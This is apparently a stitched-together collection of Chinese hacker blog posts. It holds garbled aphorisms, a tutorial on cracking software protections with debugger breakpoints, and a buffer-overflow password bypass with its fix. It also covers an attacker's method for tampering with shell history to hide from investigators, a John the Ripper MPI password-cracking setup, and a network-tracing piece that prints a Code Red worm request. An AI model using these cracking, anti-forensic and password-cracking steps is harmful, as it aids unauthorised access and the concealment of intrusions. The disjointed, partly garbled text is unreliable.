# AUTHOR: HACKER NETSPY [CZY INVICTA]

1，生活是复杂的原因之一是：它既有现实的一面，又有充满幻想的一面。
2，要让我选，提供给用户一个不干净的服务器接口，如果这个世界上有些地方不符合他们所设想的模型，就干脆视而不见，忽略掉。但我没有这样做，因为我还得违背良心学会怎么使用它们。
3，你可能首先想考虑使用已经连接有打印机设备的终端机而不是铅笔和纸。或者你会考虑生产铅笔——或者纸的原料。
4，我身边的人对计算机程式没有特别的兴趣。他们更愿意躺在卧式里玩游戏。有时他们会看着我输入的终端命令，至于光标上面弹出的字符对象似乎不会影响他们。
5，刚才我被打断了一会儿：我收到一封地下精英成员“6c[O]”的电子邮件。没问题：切换到另一个窗口，读信，答复，再回到我的编辑窗口。我的行为说明编辑器的两半之间的连接必须是多路复用的，这样编辑器才能在我操作另一个窗口的同时继续运行。这次切换还打开了一个电子邮件窗口——当我看到一位地下嗅探精英“04[S]”的来信，我不想再说“没问题”这三个字，一个极度肮脏又令我生气的问题。
6，我忘了在哪儿读到的知识产权的问题。如果谁有这份资料的原件，欢迎告诉我，我不想再看到未经许可而拷贝我的论文甚至冒充。
7，拍照者的水平比其他所有相关的因素更能决定艺术质量。
8，我从没有见过发电机，只听人说发电机安装在坚固的钢筋混泥土的房子里。这样，如果飞轮断裂，只有屋内的人会遭殃。
9，我用手写只言片语，不过这算不上“写东西”。我不记得最后一次撕掉自己作品的时间了。
10，这一点对于用户极少的软件来说不那么明显，因为要解决他们的问题没有那么困难。当然，没有用户的软件只用做作者想做的事情。
11，这一点不错：而监测对象何时进行自我赋值对编译器来说将是必需的。
把
x = x;
解释成
destroy x
initialize x from x
是行不通的。实际上，定义自己的赋值操作符的人必须经常亲自编写代码来进行测试。
12，这个库对从零开始的字符进行计数。大家都是这么做的。
13，你能分析出脚注4中提到的他们吗？
14，我听说过关于一些地下成员的重要的经历片断，就是他们从不对他们的机器编程序，因为他们不知道该怎么做。但实际上，他是很了不起的。每人都要注重自己的分寸和尊重，不要做的太出格。
15，这个关于笔录分析的问题留作挑战。
16，当然，用户可能不关心——这种情况下。
17，尾声，我不得不提起“猫”,“猪”,“11[O]”,6c[O],"03[S]","04[S]","ec[J]","i2v[J]"伙伴们给我的安慰和帮助。

# Hacker NetSpy [Czy]
 __  __    ___      __   __   __    ____ _____      _____           _/\_    ___
/\ \/\ \ /' __`\  /'__`\/\ \ / /  /'____\\  _ `\   /\  __`\        /\_  _\ / __\
\ \ \_\ \/\ \/\ \/\ \/\_\ \ \/ / /\ \____ \ \_\ \  \ \ \/\ \     __\//\ \\/\ \___  _____   __  __
 \ \  _  \ \ \_\ \ \ \/_/_ \  _\ \ \  ___\ \  _ /   \ \ \ \ \  /'__`\\ \ \\ \___ \/\  _ `\/\ \/\ \
  \ \ \ \ \ \  _  \ \ \_\ \ \ \\`\  \ \____ \ \\`\   \ \ \ \ \/\  __/ \ \ \_/ __\ \ \ \_\ \ \ \_\ \
   \ \_\ \_\ \_\ \_\ \____/\ \_\ \_\ \_____\ \_\ \_\  \ \_\ \_\ \____\ \ \__\/\____\ \  __/\ \____ \
    \/_/\/_/\/_/\/_/\/___/  \/_/\/_/\/_____/\/_/\/_/   \/_/\/_/\/____/  \/__/\/____/\ \ \/  \/ __/\ \
                                                                                     \ \_\    /\_____\
                                                                                      \/_/    \/_____/

保护机制能够出色地抵御软件断点，但是却很容易用硬件断点来破解。实际上，可以用硬件断点来破解每一种保护！在应用程序级上没有办法可以抵御内置在处理器中的调试器工具。我们为什么要对抗调试工具呢？这只不过是人们手中的器具而已。任何人都有一定的弱点，包括心理习惯。如果黑客至少想到了在进行读操作的API函数上设置一个断点，那么就能认为是一种成就。只有经验丰富的黑客才能够想到在API函数的除第一个字节之外的字节上设置断点。这种技术的基本要点就是访问第一个字节。如果不访问第一个字节就能执行整个函数，那么我们就赢了，反之，我们就输了。

其基本思想是用除第一条指令之外的指令来标识函数。甚至，也不应该是第二条指令，这是因为SoftIce设置的硬件断点默认地控制4个字节的内存区域。一般地，没有经过优化的函数开始部分占用6个到9个字节，并且只有前5个字节是固定的，其余的字节表示一个包含为局部变量保留的内存量的值，不同的函数具有不一样的值，是不可预测的。因此，我们只有一个字节，不属于指令操作码，而是位于满足如下条件的寻址域：XXX ESP,immediate。这种标识的可靠性还不很完美。如果我们在相对于API函数的初始位置的偏移地址为4的地方发现数值ECh，这并不一定说明这就是标准的函数开始代码的结尾。它可能是任何的东西。

下面的演示例子中（84fb0b1fh.c）标识了标准的函数开始代码。无论如何，我们的主要兴趣是保护机制抵御破解的强度，而不是保护机制的实现细节。

我按如下方式来修改Zen Way函数，并考虑一下这会导致什么样的结果（此外，还应该注意到，即使是在Windows 2003中，保护机制也只能识别GetLocalTime函数的开始代码，而不能识别GetStdHandle和WriteConsol函数的开始代码）。

ZenWay(char *p, char *dst)
{

    if ((unsigned char)p[4] == 0xEC)
        *((DWORD*) dst) = 0x83EC*B55;
    else
        return 0;
    *((WORD *)(dst + 4)) = *((WORD *)(p+4));
    strcpy((dst + 6), "\xB8HACK\xFF\xE0");
    *((DWORD *)(dst + 7)) = (DWORD) (p+6);
    return 1;
}

编译这个例子，并用调试器来装载它。与我们的预期一样，在API函数上设置断点并不能得到任何结果。无论如何，直到我们想到将断点向前移动几个字节（也就是说，移到较高的地址区域）之前，它都不能产生任何结果。

是否有能够快速得出可靠结果的更精炼的破解方法呢？有！但是，并不是每一个人都了解他们。曾经对kernel32.dll进行过反汇编的少数人都知道其中实际上没有包含任何感兴趣的东西：独立的琐碎代码，实际上，所有的函数都是ntdll.dll中函数的存根。因此，这个库是以ntoskrnl.exe为基础的。特别地，GetLocalTime调用了从ntdll.dll中输出的RtlTimeToTimeFields。随便提一下，GetSystemTime调用了同一个函数，因此，在ntdll.dll级别上区分这两个函数是没有意义的。你明白我的意思吗？在API函数上设置断点是小孩子玩的把戏。真正的专业人士总是挖掘得更深入一些，并在核心级上进行工作，这种把戏在这个级别上是不起作用的。如果没有其他特别的理由，只有很少的保护机制会冒险去挑战操作系统内核,因为这样会使其成为根本不可以移植的，而只是与开发这个保护机制的操作系统绑在一起。其中的问题是，与开发人员相反，黑客能够奢侈地承受与特定操作系统的绑定，即黑客进行工作的那个操作系统。

因此，执行命令BPX NTDLL.DLL!RtlTimeToTimeFields，并启动要破解的程序，调试器将立即弹出。剩下的事情就只是破解者的技术了。为了避免从深层嵌套的系统函数中出来，只需通过执行命令STACK来查看堆栈，在调用NTDLL.DLL!RtlTimeToTimeFields时的堆栈内容如下所示：

:STACK
12FE40    401155   ntdll!.text+8DD8
12FF80    4014DF   crackme!.text+04DF
12FFC0    77E87903  crackme!.text+04DF
12FFF0    0   KERNEL32!SetUnhandledExceptionFilter+005C

第一行指定调用了GetLocalTime API函数的代码（更准确地说，不是这个函数，而是通过局部缓冲区来传递的它的一个狡猾的存根）。但是，在利用这种破解技巧时，黑客在这种情形中，黑客工作的级别比保护机制更深一些。

用反汇编器来查看上述的代码。

.text:0040114B    lea  edx, [esp+132h+var_3A]
.text:00401152    push edx
.text:00401153    call edi
.text:00401155    movzx edx, [esp+136h+var_3E]
.text:0040115D    cmp  edx, 7D0h
.text:00401163    jl  short loc_4011E1

你认识它吗？当然！这是广为人知的代码片断，在这种情况下进行破解的难度实际上等于0，因为使保护机制失效的整个过程不会超过10分钟。

尾声：
    最后注意，不仅对于GetLocalTime是如此，大多数的API函数也是如此。例如，CreateFileA是给予NtCreateFile的，而GetWindowTextA是基于2Eh中断的服务11D2h的（本地API），如有任何Hacking疑问 --> Hack01[at]Live.cn

# Hacker NetSpy [Czy]
 __  __    ___      __   __   __    ____ _____      _____           _/\_    ___
/\ \/\ \ /' __`\  /'__`\/\ \ / /  /'____\\  _ `\   /\  __`\        /\_  _\ / __\
\ \ \_\ \/\ \/\ \/\ \/\_\ \ \/ / /\ \____ \ \_\ \  \ \ \/\ \     __\//\ \\/\ \___  _____   __  __
 \ \  _  \ \ \_\ \ \ \/_/_ \  _\ \ \  ___\ \  _ /   \ \ \ \ \  /'__`\\ \ \\ \___ \/\  _ `\/\ \/\ \
  \ \ \ \ \ \  _  \ \ \_\ \ \ \\`\  \ \____ \ \\`\   \ \ \ \ \/\  __/ \ \ \_/ __\ \ \ \_\ \ \ \_\ \
   \ \_\ \_\ \_\ \_\ \____/\ \_\ \_\ \_____\ \_\ \_\  \ \_\ \_\ \____\ \ \__\/\____\ \  __/\ \____ \
    \/_/\/_/\/_/\/_/\/___/  \/_/\/_/\/_____/\/_/\/_/   \/_/\/_/\/____/  \/__/\/____/\ \ \/  \/ __/\ \
                                                                                     \ \_\    /\_____\
                                                                                      \/_/    \/_____/

你是信息安全领域的雇佣杀手吗？
你是网络渗透测试的专业人士吗？
还是秘密地下组织的合作伙伴？
不要告诉我你还是新手？整个世界的攻击者已经组织起来，共同分享信息和协同攻击。点击资源链接http://www.esnips.com/nsdoc/be42e01d-415d-443e-9c22-339fe3bc754e/?action=forceDL，获取重要电子书籍（模糊测试的乐趣和益处.pdf）。对以上所述的职业角色绝对有所帮助。

有任何Hacking困境请发送信息至我的Email --> Hack01[at]Live.cn

# Hacker NetSpy [Czy]
 __  __    ___      __   __   __    ____ _____      _____           _/\_    ___
/\ \/\ \ /' __`\  /'__`\/\ \ / /  /'____\\  _ `\   /\  __`\        /\_  _\ / __\
\ \ \_\ \/\ \/\ \/\ \/\_\ \ \/ / /\ \____ \ \_\ \  \ \ \/\ \     __\//\ \\/\ \___  _____   __  __
 \ \  _  \ \ \_\ \ \ \/_/_ \  _\ \ \  ___\ \  _ /   \ \ \ \ \  /'__`\\ \ \\ \___ \/\  _ `\/\ \/\ \
  \ \ \ \ \ \  _  \ \ \_\ \ \ \\`\  \ \____ \ \\`\   \ \ \ \ \/\  __/ \ \ \_/ __\ \ \ \_\ \ \ \_\ \
   \ \_\ \_\ \_\ \_\ \____/\ \_\ \_\ \_____\ \_\ \_\  \ \_\ \_\ \____\ \ \__\/\____\ \  __/\ \____ \
    \/_/\/_/\/_/\/_/\/___/  \/_/\/_/\/_____/\/_/\/_/   \/_/\/_/\/____/  \/__/\/____/\ \ \/  \/ __/\ \
                                                                                     \ \_\    /\_____\
                                                                                      \/_/    \/_____/

对于溢出攻击来说，有时除了运行溢出代码以外，我还发现了其它一些利用溢出方式，而且并不是所有的溢出都会弹出异常。某些溢出不允许攻击者获得控制权，但是肯能允许他们读取或操纵额外数据。例如，Logon.exe，这是一个允许管理员登录某个服务的工具。由于登录的密码每次都是随机产生的，很难猜测得到。如果不知道密码，要想登录服务就需要查看内存（我假设这是没有限制的）或使用某些狡猾的计策。让我们看看Logon.exe是如何工作的。
C:\Documents and Settings\Czy>Logon.exe
USAGE: Logon.exe <username> <password>
试试输入伪造的参数：
C:\Documents and Settings\Czy>Logon.exe spy W7g6351a
Access Denied.
再试试输入长字符串：

有点奇怪，当全部为字母a时，服务允许你登录。再检查一下，看看这种情况是否还会发生：

使用同一个用户名、不同的密码，登录仍然有效！只要你指定了一个长密码，无论这个密码是否正确，程序都允许你登录，这样看来，你必须不把这种行为作为一个漏洞进行汇报。让我们看看为什么会发生这样的事。
Logon.exe中的类是如下定义的：

#define CREDENTIAL_LENGTH 64
class Login {
public:
  Login();
  void ClearCreds();
  bool IsLoggedIn();
  bool TryCreds(char *Username, char *Password);
  virtual ~Login();
private:
  char UserName[CREDENTIAL_LENGTH];
  char PassPhrase[CREDENTIAL_LENGTH];
  char CorrectPassPhrase[CREDENTIAL_LENGTH];
  char Buffer[521];
};

这个类的定义中有几个非常有趣的地方：PassPhrase和CorrectPassPhrase是顺序存储在内存中的。查看一下用于检查密码是否正确的代码：

bool Password::IsLoggedIn()
{
  return(0==memcmp(passPhrase,CorrectPassPhrase,CREDENTIAL_LENGTH));
}

看起来一切正常。再来看看调用者。

bool Login::TryCreds(char *User, char *Password)
{
  FillMemory(UserName,CREDENTIAL_LENGTH,0x00);
  strcpy(UserName,User);
  FillMemory(PassPhrase,CREDENTIAL_LENGTH,0x00);
  strcpy(PassPhrase,Password);
  retrun IsLoggedIn();
}

注意到了吗？strcpy(PassPhrase,Password);这行代码看起来很可疑。如果PassPhrase[]缓冲区溢出会怎样呢？由于CorrectPassPhra[]缓冲区在内存中的位置刚好在PassPhrase[]缓冲区的后面，很显然，溢出的数据会覆盖CorrectPassPhra[]缓冲区。如果Password的字节长度为2*CREDENTIAL_LENGTH，而且该密码的前半部分和后半部分完全一样，那么不管CorrectPassPhrase的真实数值是多少，函数IsLoggedIn返回的值都是true。
修补这个漏洞非常容易：只要检查一下输入的长度，如果过长，返回false就可以了。

bool Login::TryCreds(char *User, char *Password)
{
  if ((strlen(User) < CREDENTIAL_LENGTH) &&
  (STRLEN(pASSWORD) < CREDENTIAL_LENGTH)
    {
      FillMemory(UserName,CREDENTIAL_LENGTH,0x00);
      strcpy(UserName,User);
      FillMemory(PassPhrase,CREDENTIAL_LENGTH,0x00);
      strcpy(PassPhrase,Password);
      retrun IsLoggedIn();
    }
    else
    {
      retrun false;
    }
}

尾声：
测试一下修订后的版本，你可以发现这个演示中的漏洞已经得到了修补。如果你经过仔细研究，其实它并不难。
 

# Hacker NetSpy [Czy]
 __  __    ___      __   __   __    ____ _____      _____           _/\_    ___
/\ \/\ \ /' __`\  /'__`\/\ \ / /  /'____\\  _ `\   /\  __`\        /\_  _\ / __\
\ \ \_\ \/\ \/\ \/\ \/\_\ \ \/ / /\ \____ \ \_\ \  \ \ \/\ \     __\//\ \\/\ \___  _____   __  __
 \ \  _  \ \ \_\ \ \ \/_/_ \  _\ \ \  ___\ \  _ /   \ \ \ \ \  /'__`\\ \ \\ \___ \/\  _ `\/\ \/\ \
  \ \ \ \ \ \  _  \ \ \_\ \ \ \\`\  \ \____ \ \\`\   \ \ \ \ \/\  __/ \ \ \_/ __\ \ \ \_\ \ \ \_\ \
   \ \_\ \_\ \_\ \_\ \____/\ \_\ \_\ \_____\ \_\ \_\  \ \_\ \_\ \____\ \ \__\/\____\ \  __/\ \____ \
    \/_/\/_/\/_/\/_/\/___/  \/_/\/_/\/_____/\/_/\/_/   \/_/\/_/\/____/  \/__/\/____/\ \ \/  \/ __/\ \
                                                                                     \ \_\    /\_____\
                                                                                      \/_/    \/_____/

对于简单地打开shell历史记录文件并进行编辑，攻击者会面临一个问题。记住，只有在shell退出时shell记录文件才进行写操作。所以，在shell历史中你看不到最近的几条命令；它们被保存在内存中，一直等到shell退出才被写入shell历史记录文件。这一点对修改shell历史文件的攻击者十分关键。例如，攻击者打开文本编辑器的命令会保存在shell历史文件中，于是调查人员就会看到类似vi.bash_history的语句。这是一个坏消息，因为这意味着调查员知道有人动过shell历史记录文件了。为了解决这一问题，攻击者可以退出shell，并再次登录，产生一个新的shell，并用这个shell来编辑上一次退出时自动保存的shell历史记录。但是，当这次攻击者退出时，最新的历史文件又被记录下来，又显示shell历史记录被修改的痕迹。对于攻击者来说，这就像一个“鸡生蛋，蛋生鸡”的难题。

一旦你在计算机遇到一个“鸡和蛋”的问题，你必须设法“杀死鸡”或“打碎蛋”，也就是找到一个适合于修改shell历史记录的方法。有两种广泛使用的方法可以用来解决这个难题。一个是把shell历史记录长度设置成0（我想应该是“打碎蛋”的办法）。另一个更完善的方法是“杀死鸡”，只需键入什么命令来达到目的？

# Hacker NetSpy [Czy]
 __  __    ___      __   __   __    ____ _____      _____           _/\_    ___
/\ \/\ \ /' __`\  /'__`\/\ \ / /  /'____\\  _ `\   /\  __`\        /\_  _\ / __\
\ \ \_\ \/\ \/\ \/\ \/\_\ \ \/ / /\ \____ \ \_\ \  \ \ \/\ \     __\//\ \\/\ \___  _____   __  __
 \ \  _  \ \ \_\ \ \ \/_/_ \  _\ \ \  ___\ \  _ /   \ \ \ \ \  /'__`\\ \ \\ \___ \/\  _ `\/\ \/\ \
  \ \ \ \ \ \  _  \ \ \_\ \ \ \\`\  \ \____ \ \\`\   \ \ \ \ \/\  __/ \ \ \_/ __\ \ \ \_\ \ \ \_\ \
   \ \_\ \_\ \_\ \_\ \____/\ \_\ \_\ \_____\ \_\ \_\  \ \_\ \_\ \____\ \ \__\/\____\ \  __/\ \____ \
    \/_/\/_/\/_/\/_/\/___/  \/_/\/_/\/_____/\/_/\/_/   \/_/\/_/\/____/  \/__/\/____/\ \ \/  \/ __/\ \
                                                                                     \ \_\    /\_____\
                                                                                      \/_/    \/_____/

在闲逛网络几个小时寻找关于此话题的好的文档，我意识到，它根本不存在。我两年多一直在使用MPI，即OpenMPI和MPICH2，并已熟悉在大量环境中有效地执行。我也有经验，通过运作的MPI建立可扩展密码破解。就目前而言，它会告诉你利用所有内核的单台PC的破解，而不是仅仅一个内核。

目标：
 安装一组类似可扩展性的目录结构
 安装OpenMPI
 安装John的Ripper MPI
 运行一个简单的测试并破解一个MD5哈希

目录结构的方法

建立一个系统，这几乎是最重要的部分，该系统的可扩展性将不会破坏你升级到最新版本的应用程序。我要迅速列出提纲，我如何为一台机器建立一个目录结构。

 /apps/
 /apps/myapp1/
 /apps/myapp1/v1.x/
 /apps/myapp1/v1.x/install/
 /apps/myapp1/v1.x/x86_32/
 /apps/myapp1/v1.x/x86_64/
 /apps/myapp1/v2.x/
 /apps/myapp1/v2.x/install/
 /apps/myapp1/v2.x/x86_32/
 /apps/myapp1/v2.x/x86_64/
 /apps/myapp1/latest ? v2.x/
 /apps/myapp1/stable ? v1.x/
 /apps/myapp1/env/

/apps/
这个基本目录为我们所有的群组用户应用。

/apps/myapp1/
在“myapp1”这种情况下，我们为每个应用程序创建一个基本目录的子目录。

/apps/myapp1/v1.x/
稳定版本的应用程序将低于此目录结构。将使用实际版本号作为目录名称。

/apps/myapp1/v1.x/install/
源代码为这一特定版本将被下载、解压、并汇编于此目录。

/apps/myapp1/v1.x/x86_32/
如果应用程序是汇编的32位处理器，那么这就将被安装并运行。

/apps/myapp1/v1.x/x86_64/
如果应用程序是汇编的64位处理器，那么这就将被安装并运行。

/apps/myapp1/v2.x/
最新版本的应用软件将进入下面这个目录结构。

/apps/myapp1/v2.x/install/
源代码位这一特定版本将被下载、解压、并汇编此目录。

/apps/myapp1/v2.x/x86_32/
如果应用程序师汇编的32位处理器，那么这就将被安装并运行。

/apps/myapp1/v2.x/x86_64/
如果应用程序师汇编的64位处理器，那么这就将被安装并运行。

/apps/myapp1/latest ? v2.x
这是一个符号链接“latest”指向目录命名的不稳定安装的版本。

/apps/myapp1/stable ? v1.x
这是一个符号链接“stable”指向目录命名的稳定安装的版本。

这些符号链接将允许你升级软件，而不是以适应变化需要重建环境。只需修改符号连接指向新版本。如果我有“/apps/myapp1/v1.x/bin/”在所有用户.bashrc的$PATH变量，那么我将必须更新所有用户.bashrc文件，升级到“/apps/myapp1/v2.x/bin/”。通过使用“latest”和“stable”符号链接，你只需要把每个用户的.bashrc文件放置到“/apps/myapp1/stable/bin/”。当要迁移所有用户到“/apps/myapp1/v2.x/bin/”，只需修改“stable”的符号链接指向它。一个简单的更改符号链接，所有用户将自动开始使用最新版本。这对于可扩展性并可让你测试新的版本是非常重要的，不影响其他用户把“/apps/myapp1/latest/bin/”放置到你的$PATH中。

/apps/myapp1/env/
这是脚本和修改用户环境的文件。

硬件和软件

我选择的是GNU/Linux发行版。我已经安装到一个包含“Intel(R) Xeon(R) E5405 @ 2.00GHz”四核处理器的服务器。这就是为什么我使用“-np 4”命令。
注意：我使用的是64位的操作系统和软件，注意你的版本。

安装OpenMPI

OpenMPI v1.3.2 (最新版本) / OpenMPI v1.3.1 (稳定版本)

~ # mkdir /apps
~ # mkdir /apps/openmpi

安装 v1.3.2：
~ # mkdir /apps/openmpi/v1.3.2
~ # ln -s /apps/openmpi/v1.3.2 /apps/openmpi/latest
~ # mkdir /apps/openmpi/v1.3.2/install
~ # mkdir /apps/openmpi/v1.3.2/x86_32
~ # mkdir /apps/openmpi/v1.3.2/x86_64
~ # cd /apps/openmpi/v1.3.2/install
~ # wget http://www.open-mpi.org/software/ompi/v1.3/downloads/openmpi-1.3.2.tar.gz
~ # tar -xf openmpi-1.3.2.tar.gz
~ # cd openmpi-1.3.2

32位系统：
~ # ./configure --prefix= /apps/openmpi/v1.3.2/x86_32

64位系统：
~ # ./configure --prefix=/apps/openmpi/v1.3.2/x86_64

~ # make
~ # make install

安装 v1.3.1:
~ # mkdir /apps/openmpi/v1.3.1
~ # ln -s /apps/openmpi/v1.3.1 /apps/openmpi/stable
~ # mkdir /apps/openmpi/v1.3.1/install
~ # mkdir /apps/openmpi/v1.3.1/x86_32
~ # mkdir /apps/openmpi/v1.3.1/x86_64
~ # cd /apps/openmpi/v1.3.1/install
~ # wget http://www.open-mpi.org/software/ompi/v1.3/downloads/openmpi-1.3.1.tar.gz
~ # tar -xf openmpi-1.3.1.tar.gz
~ # cd openmpi-1.3.1

32位系统：
~ # ./configure --prefix= /apps/openmpi/v1.3.1/x86_32

64位系统：
~ # ./configure --prefix=/apps/openmpi/v1.3.1/x86_64

~ # make
~ # make install

~ # mkdir /apps/openmpi/env
~ # cd /apps/openmpi/env
~ # echo ‘export PATH=${PATH}:/apps/openmpi/latest/x86_64/bin’ > prepenv_latest
~ # echo ‘export PATH=${PATH}:/apps/openmpi/stable/x86_64/bin’ > prepenv_stable

编辑/etc/env.d/00basic并修改LDPATH：

LDPATH="/usr/local/lib:/apps/openmpi/latest/x86_64/lib:/apps/openmpi/stable/x86_64/lib"

~ # env-update && source /etc/profile

运行OpenMPI健全检查：

~ # source /apps/openmpi/env/prepenv_latest
~ # mpirun -np 4 hostname

最后的命令，上面输出的电脑主机四倍。不低，不高，四倍。如果是的话，那么你的“最新”OpenMPI版本正在工作。

~ # env-update && source /etc/profile
~ # source /apps/openmpi/env/prepenv_stable
~ # mpirun -np 4 hostname

最后的命令，上面输出的电脑主机四倍。不低，不高，四倍。如果是的话，那么你的“稳定”OpenMPI版本正在工作。

安装John the Ripper MPI

John the Ripper MPI v1.7.3.1

~ # mkdir /apps/jtr

安装 v1.7.3.1:
~ # mkdir /apps/jtr/v1.7.3.1
~ # ln -s /apps/jtr/v1.7.3.1 /apps/jtr/latest
~ # mkdir /apps/jtr/v1.7.3.1/install
~ # mkdir /apps/jtr/v1.7.3.1/x86_32
~ # mkdir /apps/jtr/v1.7.3.1/x86_64
~ # cd /apps/jtr/v1.7.3.1/install
~ # wget http://www.bindshell.net/tools/johntheripper/john-1.7.3.1-all-2-mpi8.tar.gz
~ # tar -xf john-1.7.3.1-all-2-mpi8.tar.gz
~ # cd john-1.7.3.1-all-2-mpi8/src

32位系统：
~ # make linux-x86-sse2

64位系统：
~ # make linux-x86-64

~ # cd /apps/jtr/v1.7.3.1/install/john-1.7.3.1-all-2-mpi8/run
~ # cp * /apps/jtr/v1.7.3.1/x86_64/

~ # mkdir /apps/jtr/env
~ # cd /apps/jtr/env
~ # echo ‘export PATH=${PATH}:/apps/jtr/latest/x86_64’ > prepenv_latest
~ # echo ‘source /apps/openmpi/env/prepenv_latest’ >> prepenv_latest
~ # echo ‘cd /apps/jtr/latest/x86_64’ >> prepenv_latest

运行John the Ripper健全检查：

~ # env-update && source /etc/profile
~ # source /apps/jtr/env/prepenv_latest
~ # mpirun -np 4 ./john -test

利用CPU内核的独立电脑

此时，你应该有一个正常运作的MPI环境和一个正常运作的John the Ripper版本。所以，现在让我们继续前进到最具有乐趣的一部分：破解密码！

我们第一项任务需要建立一个John the Ripper的清理脚本，因为它创建了大量的文件没有得到清理而运行。如果你不再需要john_log和john.pot文件，可以将它们清除。

~ # cd /apps/jtr/env
~ # echo "#!/bin/bash" > cleanup_latest.sh
~ # echo "rm /apps/jtr/latest/x86_64/john_rec.rec*" >> cleanup_latest.sh
~ # echo "rm /apps/jtr/latest/x86_64/john_log" >> cleanup_latest.sh
~ # echo "rm /apps/jtr/latest/x86_64/john.pot" >> cleanup_latest.sh
~ # chmod + x cleanup_latest.sh

目前整个平台安装了。下一步我们以一个简单的MD5哈希开始测试运行。

~ # env-update && source /etc/profile
~ # source /apps/jtr/env/prepenv_latest
~ # echo "root:e80b5017098950fc58aad83c8c14978e" >> md5s.txt
~ # mpirun -np 4 ./john -format=raw-md5 -incremental:alpha ./md5s.txt
Loaded 1 password hash (Raw MD5 [raw-md5])
Loaded 1 password hash (Raw MD5 [raw-md5])
Loaded 1 password hash (Raw MD5 [raw-md5])
Loaded 1 password hash (Raw MD5 [raw-md5])
abcdef           (root)
Process 0 completed loop.
thread: 0 guesses: 1  time: 0:00:00:00  c/s: 1582K  trying: abaflm - abcdch

密码是“abcdef”。如果你对John the Ripper语法有疑问，请阅读相关文档。

每次运行之后，我通常会复制“john.pot”文件到安全位置，然后清除：

~ # /apps/jtr/env/cleanup_latest.sh

尾声

以后我将修改更新此文档，向用户展示如何扩展到群组，跨越许多电脑和许多CPU核心。如果你有问题，利用Bing/Google/Baidu等搜索引擎，或者写信息发送至我(Czy)的E-mail --> Hack01[at]Live.cn，我会尽力帮你解决所遇到的问题。

# Hacker NetSpy [Czy]
 __  __    ___      __   __   __    ____ _____      _____           _/\_    ___
/\ \/\ \ /' __`\  /'__`\/\ \ / /  /'____\\  _ `\   /\  __`\        /\_  _\ / __\
\ \ \_\ \/\ \/\ \/\ \/\_\ \ \/ / /\ \____ \ \_\ \  \ \ \/\ \     __\//\ \\/\ \___  _____   __  __
 \ \  _  \ \ \_\ \ \ \/_/_ \  _\ \ \  ___\ \  _ /   \ \ \ \ \  /'__`\\ \ \\ \___ \/\  _ `\/\ \/\ \
  \ \ \ \ \ \  _  \ \ \_\ \ \ \\`\  \ \____ \ \\`\   \ \ \ \ \/\  __/ \ \ \_/ __\ \ \ \_\ \ \ \_\ \
   \ \_\ \_\ \_\ \_\ \____/\ \_\ \_\ \_____\ \_\ \_\  \ \_\ \_\ \____\ \ \__\/\____\ \  __/\ \____ \
    \/_/\/_/\/_/\/_/\/___/  \/_/\/_/\/_____/\/_/\/_/   \/_/\/_/\/____/  \/__/\/____/\ \ \/  \/ __/\ \
                                                                                     \ \_\    /\_____\
                                                                                      \/_/    \/_____/

大多数信息安全专业人员都熟悉确定常规数据之间的恶意流量程序。但是，不止一次有人问我如何找到一个问题的所在时，确定它的物理位置。

这个问题会天真的出现，如网络布线图时没有跟上最新的，或者不那么天真，当低于可信赖的管理员决定把Web服务器在该公司的非军事区，以免使用所有可用的宽带家庭电缆调制解调器。让我们假设是这种情况，你开始看到该服务器上的端口80在探索其他机器并连接到你的网络。你转储流量，并且请求看起来如下：

/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3
%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u81
90%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0

……你会这样想：“OK，红色代码正试图通过我机器的IP地址感染我的网络，但接下来我应该做什么？”

放松！在前一种情况下，如果你知道IP地址，它是相对容易找到机器的。对于ethics-challenged管理员，但它可以相当难以找到讨厌的主机，作为所有者的系统是不希望它被发现。

简单方法
最简单的方法是寻找主机ping的IP地址执行恶意行为（占用宝贵的网络带宽或提供的IRC连接h4x0rs）。假设你有一个相对较小的网络，而你所在本地主机假设它尚未硬化，企图保护其秘密地点。检查Time-To-Live (TTL)以验证该流氓主机在同一地点。如果你在同一个广播域，TTLs应该不递减。他们应该255，128，64或32。在这两个例子所处于的情况下，他们不会发现其中的一个号码。

C:\>ping 10.1.1.100

Pinging 10.1.1.10 with 32 bytes of data:

Reply from 10.1.1.100: bytes=32 time<1ms TTL=128
Reply from 10.1.1.100: bytes=32 time<1ms TTL=128
Reply from 10.1.1.100: bytes=32 time<1ms TTL=128
Reply from 10.1.1.100: bytes=32 time<1ms TTL=128

Ping statistics for 10.1.1.100:
    Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms

如果不是在同一个逻辑部分，以确定使用跟踪路由的跳数，并确定找到的机器。在Windows系统中使用tracert命令，在Unix/Linux系统中使用traceroute命令。

C:\>tracert 172.16.1.100

Tracing route to 172.16.1.100 over a maximum of 30 hops

  1     *        *        *     Request timed out.
  2     1 ms     1 ms     1 ms  10.1.1.1
  3    13 ms    13 ms    11 ms  172.16.1.254
  4    11 ms    11 ms    11 ms  172.16.1.100

Trace complete.

在同一个逻辑部分只意味着你没有路由器或其他设备。一旦你确定了物理段并对照自己，ping和检查你的ARP缓存。

记住，互联网协议是第3层和一无所知的硬件与分配的IP地址。要利用地址解析协议(ARP)查找物理地址的目标主机。请注意在下面的例子中ARP高速缓存没有进入10.1.1.180。一旦发起的地址解析协议传送广播本地寻找相关的硬件地址与IP地址。检查ARP高速缓存再次显示条目10.1.1.180。

来自于Windows系统：

C:\>arp -a

Interface: 10.1.1.160 --- 0x2
  Internet Address      Physical Address      Type
  10.1.1.130          00-60-cf-20-b3-72     dynamic
  10.1.1.132          00-90-27-d0-8a-07     dynamic
  10.1.1.133          00-06-5b-3d-16-32     dynamic
  10.1.1.254          08-00-20-c3-9a-9e     dynamic

C:\>ping 10.1.1.180

Pinging 10.1.1.180 with 32 bytes of data:

Reply from 10.1.1.180: bytes=32 time<1ms TTL=255
Reply from 10.1.1.180: bytes=32 time<1ms TTL=255
Reply from 10.1.1.180: bytes=32 time<1ms TTL=255
